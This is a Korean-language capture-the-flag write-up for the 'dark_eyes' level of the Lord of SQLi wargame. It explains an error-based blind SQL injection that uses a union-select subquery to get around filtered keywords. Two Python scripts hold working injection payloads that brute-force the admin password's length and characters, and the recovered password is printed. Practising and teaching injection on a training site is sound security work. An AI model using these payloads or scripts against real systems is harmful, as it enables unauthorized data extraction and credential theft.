분석
이번 문제도 brute force.
prob 등을 막아두고
col, if, case, when, sleep, benchmark 막힙니다.
에러가 발생하면..? exit라고 하는데 어떻게 되는지 봅시다.
아예 비어있는 칸이 뜨네요.
if가 막혀있는 이상 union select를 활용해야 할 것 같은데..
union select를 사용해서 우선 length를 구하도록 만들건데 블라인드니까 가지고 있는 sql에서 테스트해봅시다.
where에 그냥 from 없이 구성했더니.. 그래서 에러가 뜨나봅니다.? (다른 사람도 이렇게 쓰던데)
union select 로 에러를 띄우려면 where 조건을 사용해서 컬럼보다 많은 값을 할당하는 건데
위처럼 union select를 사용하면 where 조건이 거짓이더라도 에러가 나옵니다.
ppt에 있는 union select를 서브 쿼리로 사용할 때 에러를 활용해서 -> 1개 이상의 반환이 서브쿼리로 있으면 에러.
select 1개만 고정으로 해두고 union select 로 조건을 해두면..?
이건 되는데
왜 위에는 안 되는걸까요. 제 생각으로 sub query에는 from 을 쓰지 않아도 되기 때문일 것 같습니다.
풀이
그럼
조건이 참이면 에러가 발생하고 아니면 에러가 발생하지 않습니다.
그걸 가지고 코드를 작성해보면
import requests
url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?'
cookie = {'PHPSESSID':'ㅋㅋ'}
for i in range(1,100) :
query = 'pw=\' or (select 1 union select 2 where id=\'admin\' and length(pw)={})%23'.format(i)
print(query, i)
req = requests.get(url+query, cookies=cookie)
if('select id' not in req.text) :
print('len:',i)
break
패스워드 길이는 8
import requests
url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?'
cookie = {'PHPSESSID':'ㅋㅋ'}
check = '1234567890abcdefghijklmnopqrstuvwxyz!@$^*()'
# for i in range(1,100) :
# query = 'pw=\' or (select 1 union select 2 where id=\'admin\' and length(pw)={})%23'.format(i)
# print(query, i)
# req = requests.get(url+query, cookies=cookie)
# if('select id' not in req.text) :
# print('len:',i)
# break
length=8
pw = ''
for i in range(1,length+1) :
for j in check :
query = 'pw=\' or (select 1 union select 2 where id=\'admin\' and substr(pw,{},1)=\'{}\')%23'.format(i,j)
print(query, pw)
req = requests.get(url+query, cookies=cookie)
if('select id' not in req.text) :
pw += j
break
print('res:',pw)
패스워드는 5a2f5d3c
union select를 사용할 때 sub query에 대한 에러도 존재한다..
https://m.blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=hantacrew&logNo=220109958191